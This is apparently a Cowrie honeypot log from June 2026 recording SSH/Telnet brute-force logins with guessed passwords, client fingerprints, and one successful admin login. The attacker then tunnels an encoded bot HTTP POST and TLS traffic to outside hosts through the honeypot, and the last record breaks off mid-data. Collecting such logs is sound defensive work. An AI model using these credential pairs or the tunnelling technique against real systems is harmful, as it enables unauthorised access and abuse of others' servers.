{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18058,"dst_ip":"159.203.135.109","dst_port":22,"session":"8629a7aadcdf","protocol":"ssh","message":"New connection: 91.92.40.36:18058 (159.203.135.109:22) [session: 8629a7aadcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:01.175793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:01.961419Z","src_ip":"91.92.40.36","session":"8629a7aadcdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:01.964417Z","src_ip":"91.92.40.36","session":"8629a7aadcdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!@#2024","message":"login attempt [root/Welcome!@#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:05.127954Z","src_ip":"27.71.230.31","session":"34ec2342c450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"54321","message":"login attempt [debian/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:06.133635Z","src_ip":"91.92.40.36","session":"8629a7aadcdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:06.669865Z","src_ip":"27.71.230.31","session":"34ec2342c450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46832,"dst_ip":"159.203.135.109","dst_port":23,"session":"121e729d9485","protocol":"telnet","message":"New connection: 128.199.8.54:46832 (159.203.135.109:23) [session: 121e729d9485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:07.318124Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23958,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1292a207440","protocol":"ssh","message":"New connection: 91.92.40.36:23958 (159.203.135.109:22) [session: b1292a207440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:07.598699Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":53656,"dst_ip":"159.203.135.109","dst_port":22,"session":"91024a718b70","protocol":"ssh","message":"New connection: 103.15.222.183:53656 (159.203.135.109:22) [session: 91024a718b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:08.027598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:08.032222Z","src_ip":"103.15.222.183","session":"91024a718b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:08.283736Z","src_ip":"103.15.222.183","session":"91024a718b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:08.823915Z","src_ip":"91.92.40.36","session":"8629a7aadcdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"domdom","message":"login attempt [root/domdom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:09.041206Z","src_ip":"103.15.222.183","session":"91024a718b70","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:09.116978Z","src_ip":"91.92.40.36","session":"b1292a207440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:09.162806Z","src_ip":"91.92.40.36","session":"b1292a207440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:10.291239Z","src_ip":"103.15.222.183","session":"91024a718b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$word","message":"login attempt [admin/Pa$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:13.482233Z","src_ip":"91.92.40.36","session":"b1292a207440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:14.651381Z","src_ip":"91.92.40.36","session":"b1292a207440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":60124,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99dc6b2a116","protocol":"ssh","message":"New connection: 23.175.50.52:60124 (10.17.0.5:22) [session: e99dc6b2a116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:15.102515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:15.108031Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:15.324725Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":64858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a605ef48cdc","protocol":"ssh","message":"New connection: 113.164.152.20:64858 (10.17.0.5:22) [session: 0a605ef48cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:17.072720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:17.077063Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16822,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7acfe60d4e2","protocol":"ssh","message":"New connection: 91.92.40.36:16822 (159.203.135.109:22) [session: d7acfe60d4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:17.216536Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:17.369389Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:17.665427Z","src_ip":"91.92.40.36","session":"d7acfe60d4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:17.668837Z","src_ip":"91.92.40.36","session":"d7acfe60d4e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:18.571948Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:18.975396Z","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:19.097531Z","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:19.402157Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dHhDUXRKSk4vc2hQNGJhZg%3D%3DbsqZ9QQE1Wry7NnO5GJrEweVPHoeKeiuU%2BwWRj2GdwLfkiKjkVAJ3QxWd4QVQ%2FjN50Ql%2Bn3sl6lnkHqaaQioDRWEJN%2F799HHNiwL%2BB6ViE1JMI2LXmL2f6EQsC5NpKcFJe%2FOjd3Ijg39E2g05HSMvJIWKDYlZAqQM8CT7u5qkaKrSZHAXRp%2F%2FZLJ9OU%2BQvh45vWsHjAgXL%2Ft57zYne2l8kXpQNjo4rOJ6ywG1NO90b%2BLI7XeAFg%2BTYhDFntyg21aefGS1cQI4xNf3eckAgRLouOtQKeSUfw5km2QsCcF0RPFwQiBqQZsWdWpslT8x0JLgWaKIYeIRbrsUuz179RwmMmvD0DoWmAgbx9oe%2B76tW1HKmaRsOIUPtpj5ocQ3T7%2FOQEK2C9bNKS6PJMYu5g7MR6PnmvpNtOyZ2oX40hMFm1UqeBAv34zy9Cauq9avlr%2Bf5DyqDl7CzqvbyBPzD7i4UfCjH0tftYDoidu3ear9BudMPPsKpQOWZX%2FcqRbd7Hx2jPJPeZlUuKS78HxmkajgNUIwkWkK4Yi2hu7%2Bi48e5d3qs1oNejaCSd93y61KVGcHQBoVQa4f0Q9O%2BwEgD5tEdwbZuI78yrESdR5aeIMSy3kggLEAEo%2Fzsrm1OfsqQUGGWltjkgpdhk59wltByaQRWdl0ItY7k%2FfhRPklgiAW62r2MyPQm%2FNsDXuv3HDpjB1p3jsQB5kOPZfCFBgPWMzs%2FqhDFVavc3WF3hUEr5xHqp1LB4Yx2%2BG8Hh6MRB1QoV36G42gSlYYSxh%2FuchwbiXdfeCUewyVVNZuOCOx5yBCLSShGkbfHrAUo8mIThIxLblJJdWPZ4iMFoLwaSLZNHYz0jOBazaZunkMzuR%2FzfcsLAFcUufG9OrEApnQr6tnDNc%2BT0SdUvrfIFaISYAN9lZkYV9CIGuWduyFvtsTmZcjqaOcLZETth%2FMmo7l07og4NehYtr3SWfxrjXyqAdTpMd6bVxLnJwrI4NvU6tbUAb2DozuOQZPvloMIW%2FJyRB4dk9R9QAZzt00Dsp4xZ7fg6jwaM4l3NUIoRy0xM8QtWNn7SsI58RY2AEC7Ef4JwxmASi'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dHhDUXRKSk4vc2hQNGJhZg%3D%3DbsqZ9QQE1Wry7NnO5GJrEweVPHoeKeiuU%2BwWRj2GdwLfkiKjkVAJ3QxWd4QVQ%2FjN50Ql%2Bn3sl6lnkHqaaQioDRWEJN%2F799HHNiwL%2BB6ViE1JMI2LXmL2f6EQsC5NpKcFJe%2FOjd3Ijg39E2g05HSMvJIWKDYlZAqQM8CT7u5qkaKrSZHAXRp%2F%2FZLJ9OU%2BQvh45vWsHjAgXL%2Ft57zYne2l8kXpQNjo4rOJ6ywG1NO90b%2BLI7XeAFg%2BTYhDFntyg21aefGS1cQI4xNf3eckAgRLouOtQKeSUfw5km2QsCcF0RPFwQiBqQZsWdWpslT8x0JLgWaKIYeIRbrsUuz179RwmMmvD0DoWmAgbx9oe%2B76tW1HKmaRsOIUPtpj5ocQ3T7%2FOQEK2C9bNKS6PJMYu5g7MR6PnmvpNtOyZ2oX40hMFm1UqeBAv34zy9Cauq9avlr%2Bf5DyqDl7CzqvbyBPzD7i4UfCjH0tftYDoidu3ear9BudMPPsKpQOWZX%2FcqRbd7Hx2jPJPeZlUuKS78HxmkajgNUIwkWkK4Yi2hu7%2Bi48e5d3qs1oNejaCSd93y61KVGcHQBoVQa4f0Q9O%2BwEgD5tEdwbZuI78yrESdR5aeIMSy3kggLEAEo%2Fzsrm1OfsqQUGGWltjkgpdhk59wltByaQRWdl0ItY7k%2FfhRPklgiAW62r2MyPQm%2FNsDXuv3HDpjB1p3jsQB5kOPZfCFBgPWMzs%2FqhDFVavc3WF3hUEr5xHqp1LB4Yx2%2BG8Hh6MRB1QoV36G42gSlYYSxh%2FuchwbiXdfeCUewyVVNZuOCOx5yBCLSShGkbfHrAUo8mIThIxLblJJdWPZ4iMFoLwaSLZNHYz0jOBazaZunkMzuR%2FzfcsLAFcUufG9OrEApnQr6tnDNc%2BT0SdUvrfIFaISYAN9lZkYV9CIGuWduyFvtsTmZcjqaOcLZETth%2FMmo7l07og4NehYtr3SWfxrjXyqAdTpMd6bVxLnJwrI4NvU6tbUAb2DozuOQZPvloMIW%2FJyRB4dk9R9QAZzt00Dsp4xZ7fg6jwaM4l3NUIoRy0xM8QtWNn7SsI58RY2AEC7Ef4JwxmASi'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:19.405310Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:19.664185Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\x04\\tl/G\\xf3\\xbdlU6&\\x14s\\x17\\xacG\\x01\\xde$k\\xfaC\\x95O\\xe5R\\x8a\\x10\\x8dn\\xd5 Y\\xbbOktr9\\xb3\\x0eL\\xca-=LsZ\\x9b\\x17\\xc2^\\xcc\\x96\\x99\\xfb\\xf7\\x92\\x8dt\\xe5\\xa4$\"\\x00 